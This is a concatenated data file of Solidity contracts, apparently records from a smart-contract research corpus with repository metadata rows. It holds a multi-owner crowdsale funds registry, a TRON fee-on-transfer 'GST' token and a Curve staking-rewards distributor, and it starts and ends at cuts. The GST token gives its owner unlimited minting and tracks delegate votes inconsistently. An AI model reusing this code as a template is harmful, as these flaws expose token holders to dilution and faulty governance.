require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically sha3(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
// TODO block gas limit
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private constant returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract MultiownedControlled is multiowned {
event ControllerSet(address controller);
event ControllerRetired(address was);
modifier onlyController {
require(msg.sender == m_controller);
_;
}
// PUBLIC interface
function MultiownedControlled(address[] _owners, uint _signaturesRequired, address _controller)
multiowned(_owners, _signaturesRequired)
{
m_controller = _controller;
ControllerSet(m_controller);
}
/// @dev sets the controller
function setController(address _controller) external onlymanyowners(sha3(msg.data)) {
m_controller = _controller;
ControllerSet(m_controller);
}
/// @dev ability for controller to step down
function detachController() external onlyController {
address was = m_controller;
m_controller = address(0);
ControllerRetired(was);
}
// FIELDS
/// @notice address of entity entitled to mint new tokens
address public m_controller;
}
/// @title utility methods and modifiers of arguments validation
contract ArgumentsChecker {
/// @dev check which prevents short address attack
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4);
_;
}
/// @dev check that address is valid
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
/// @title registry of funds sent by investors
contract FundsRegistry is ArgumentsChecker, MultiownedControlled, ReentrancyGuard {
using SafeMath for uint256;
enum State {
// gathering funds
GATHERING,
// returning funds to investors
REFUNDING,
// funds can be pulled by owners
SUCCEEDED
}
event StateChanged(State _state);
event Invested(address indexed investor, uint256 amount);
event EtherSent(address indexed to, uint value);
event RefundSent(address indexed to, uint value);
modifier requiresState(State _state) {
require(m_state == _state);
_;
}
// PUBLIC interface
function FundsRegistry(address[] _owners, uint _signaturesRequired, address _controller)
MultiownedControlled(_owners, _signaturesRequired, _controller)
{
}
/// @dev performs only allowed state transitions
function changeState(State _newState)
external
onlyController
{
assert(m_state != _newState);
if (State.GATHERING == m_state) { assert(State.REFUNDING == _newState || State.SUCCEEDED == _newState); }
else assert(false);
m_state = _newState;
StateChanged(m_state);
}
/// @dev records an investment
function invested(address _investor)
external
payable
onlyController
requiresState(State.GATHERING)
{
uint256 amount = msg.value;
require(0 != amount);
assert(_investor != m_controller);
// register investor
if (0 == m_weiBalances[_investor])
m_investors.push(_investor);
// register payment
totalInvested = totalInvested.add(amount);
m_weiBalances[_investor] = m_weiBalances[_investor].add(amount);
Invested(_investor, amount);
}
/// @notice owners: send `value` of ether to address `to`, can be called if crowdsale succeeded
/// @param to where to send ether
/// @param value amount of wei to send
function sendEther(address to, uint value)
external
validAddress(to)
onlymanyowners(sha3(msg.data))
requiresState(State.SUCCEEDED)
{
require(value > 0 && this.balance >= value);
to.transfer(value);
EtherSent(to, value);
}
/// @notice withdraw accumulated balance, called by payee in case crowdsale failed
function withdrawPayments(address payee)
external
nonReentrant
onlyController
requiresState(State.REFUNDING)
{
uint256 payment = m_weiBalances[payee];
require(payment != 0);
require(this.balance >= payment);
totalInvested = totalInvested.sub(payment);
m_weiBalances[payee] = 0;
payee.transfer(payment);
RefundSent(payee, payment);
}
function getInvestorsCount() external constant returns (uint) { return m_investors.length; }
// FIELDS
/// @notice total amount of investments in wei
uint256 public totalInvested;
/// @notice state of the registry
State public m_state = State.GATHERING;
/// @dev balances of investors in wei
mapping(address => uint256) public m_weiBalances;
/// @dev list of unique investors
address[] public m_investors;
}
| 218,285 | 13,670 |
cb5f3fe02f0abb1ef08fa7196899e0dfcb2401832e5437c276381c73177a6f80
| 16,969 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWvHLWxx2Se23PRXZmZzFTnEZfRgVq6vdS_GSTTokenContract.sol
| 4,358 | 16,424 |
//SourceUnit: gstcontract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IST20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ST20 is Context, IST20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transferFrom (address sender, address recipient, uint256 amount) internal {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'Token: transfer amount exceeds allowance'));
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'Token: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'Token: transfer from the zero address');
require(recipient != address(0), 'Token: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'Token: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'Token: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'Token: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'Token: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'Token: approve from the zero address');
require(spender != address(0), 'Token: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'Token: burn amount exceeds allowance'));
}
}
contract GSTTokenContract is ST20 ('Global Success Team', 'GST') {
uint256 public charityFee = 100;
uint256 public AdminFee = 100;
uint256 public LiquidityPoolFee = 200 ;
uint256 public BurningFee = 100;
uint256 public HoldersFee = 500;
address public charityAddress;
address public adminAddress;
address public LiquidityPoolAddress;
address public BurningAddress;
address public HoldersAddress;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => address) internal _delegates;
struct Checkpoint {uint32 fromBlock; uint256 votes;}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function getCurrentVotes(address account) external view returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) external view returns (uint256)
{
require(blockNumber < block.number, "Token:getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Token:_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
bool takeFee = true;
if(_isExcludedFromFee[msg.sender]){
takeFee = false;
}
if(takeFee){
uint256 charity_Fee = amount.mul(charityFee).div(10000);
uint256 Admin_Fee = amount.mul(AdminFee).div(10000);
uint256 LiquidityPool_Fee = amount.mul(LiquidityPoolFee).div(10000);
uint256 Burning_Fee = amount.mul(BurningFee).div(10000);
uint256 Holders_Fee = amount.mul(HoldersFee).div(10000);
uint256 totalFees = charity_Fee.add(Admin_Fee).add(LiquidityPool_Fee).add(Burning_Fee).add(Holders_Fee);
_transfer(_msgSender() , charityAddress , charity_Fee);
_transfer(_msgSender() , adminAddress , Admin_Fee);
_transfer(_msgSender() , LiquidityPoolAddress , LiquidityPool_Fee);
_transfer(_msgSender() , BurningAddress , Burning_Fee);
_transfer(_msgSender() , HoldersAddress , Holders_Fee);
amount = amount.sub(totalFees);
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public returns (bool) {
bool takeFee = true;
if(_isExcludedFromFee[sender]){
takeFee = false;
}
if(takeFee){
uint256 charity_Fee = amount.mul(charityFee).div(10000);
uint256 Admin_Fee = amount.mul(AdminFee).div(10000);
uint256 LiquidityPool_Fee = amount.mul(LiquidityPoolFee).div(10000);
uint256 Burning_Fee = amount.mul(BurningFee).div(10000);
uint256 Holders_Fee = amount.mul(HoldersFee).div(10000);
uint256 totalFees = charity_Fee.add(Admin_Fee).add(LiquidityPool_Fee).add(Burning_Fee).add(Holders_Fee);
_transferFrom(sender , charityAddress , charity_Fee);
_transferFrom(sender , adminAddress , Admin_Fee);
_transferFrom(sender , LiquidityPoolAddress , LiquidityPool_Fee);
_transferFrom(sender , BurningAddress , Burning_Fee);
_transferFrom(sender , HoldersAddress , Holders_Fee);
amount = amount.sub(totalFees);
}
_transferFrom(sender, recipient, amount);
return true;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setCharityAddress(address _address) public onlyOwner{
charityAddress = _address;
}
function setAdminAddress(address _address) public onlyOwner{
adminAddress = _address;
}
function setLiquidityPoolAddress(address _address) public onlyOwner{
LiquidityPoolAddress = _address;
}
function setBurningAddress(address _address) public onlyOwner{
BurningAddress = _address;
}
function setHoldersAddress(address _address) public onlyOwner{
HoldersAddress = _address;
}
}
| 292,987 | 13,671 |
1085f65fc188cf2b2e77a31a1e0e1c754fa98c81a232472a6fb22958b05543cf
| 21,311 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Derivative/Normal/Frax/Staking/FRAX3CRV_Curve_FXS_Distributor.sol
| 3,610 | 14,313 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IStakingRewards {
// Views
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor (address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor () internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract FRAX3CRV_Curve_FXS_Distributor is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor (address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() internal view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() internal view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
rewardsToken.safeTransferFrom(msg.sender, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(block.timestamp > periodFinish,
"Reward period incomplete");
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
